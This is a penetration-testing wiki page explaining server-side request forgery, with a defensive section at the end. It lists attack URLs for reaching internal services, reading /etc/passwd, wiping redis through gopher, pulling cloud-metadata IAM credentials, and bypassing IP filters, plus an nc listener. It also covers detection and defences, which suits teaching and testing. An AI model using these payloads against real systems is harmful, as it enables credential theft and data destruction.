the_open_door
coffee
ESEN
← Back to index

Server-Side Request Forgery (SSRF)

ATT&CKT1190
Full command arsenal in the cheatsheet

SSRF (server-side request forgery) happens when an application makes network requests the attacker controls: we hand it a URL and the server fetches it for us. Because that request leaves from the server, it reaches places we cannot (internal services, cloud metadata, localhost) and is also identified with the server's fingerprint, not ours.

Where it shows up. Any feature that takes a URL or a host and goes to fetch it: importers ("pull this image/feed"), webhooks, PDF generators that load resources, link validators and, very commonly on boxes, features that clone a git repository or compile code from a URL.

Targets and schemes

It goes in tiers, and the scheme (http, file, gopher, dict) decides how far it reaches:

# 1) leak the server's own request to our listener (fingerprint, User-Agent, version)
http://<lhost>/x.git
# 2) internal services the firewall does not expose
http://127.0.0.1:8080/admin
http://127.0.0.1:6379/          # redis, memcached, elasticsearch:9200...
# 3) read local files (if the client supports file://)
file:///etc/passwd
# 4) talk to plaintext internal protocols (gopher = SSRF into redis/smtp/etc.)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A
dict://127.0.0.1:11211/stats

Cloud metadata (credential theft)

The star target in cloud is the metadata endpoint, which serves instance tokens:

# AWS (IMDSv1)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# GCP (requires header Metadata-Flavor: Google)
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Filter bypass (SSRF to localhost/internal)

When they block localhost/127.0.0.1 or private ranges, obfuscate the IP:

http://127.1/                    # short form of 127.0.0.1
http://0.0.0.0:8080/
http://2130706433/               # 127.0.0.1 in decimal
http://0x7f000001/               # in hexadecimal
http://0177.0.0.1/               # octal
http://[::1]/  http://[::ffff:127.0.0.1]/    # IPv6
http://127.0.0.1.nip.io/         # DNS that resolves to 127.0.0.1
# dodge domain validation with @ or # (the real host is the one after @)
http://<allowed-domain>@127.0.0.1/
http://127.0.0.1#<allowed-domain>/
# redirect: the allowed URL returns a 302 to the internal target
http://<lhost>/redir  ->  Location: http://169.254.169.254/...
nc -nlvp 80           # listener to see the request the server makes

Why nc and not a normal HTTP server. Spinning up a Python server receives the connection, but nc shows the raw headers of the incoming request, which is where the valuable data usually is (the User-Agent with the client version, the basis for a CVE).

Hint vs proof. A field asking for a URL suggests SSRF, but it must be confirmed: the proof is receiving the outbound connection on our listener. From there, the format filter (e.g. "must start with http:// and end in .git") tells you what kind of request it will make and how to shape it.

How to detect it. SSRF is best seen by the network effect, not the inbound request. The signature is an outbound connection from the app server to a destination outside its normal behaviour: internal IPs (127.0.0.1, private ranges), the cloud metadata endpoint (169.254.169.254), or an unknown external domain. An egress firewall or a proxy logging the backend's outbound traffic betrays those requests, and a useful rule alerts on any access to 169.254.169.254 from a workload. On the inbound side, parameters with http://, file://, gopher://, obfuscated IPs (decimal/hex/octal) or @ in a field that should be a name or an ID are the clue, flaggable by a WAF. The key: the source of the suspicious request is the server itself.

Defence. Allowlist permitted destinations; resolve and validate the final IP (not just the domain) to avoid rebinding; block internal ranges and the metadata endpoint (or require IMDSv2 with a token); do not follow redirects to internal destinations nor relay internal headers/responses to the user. Related to LFI/path traversal and server-side XSS in PDF.

ToolsXXEinjector

Machines where it's used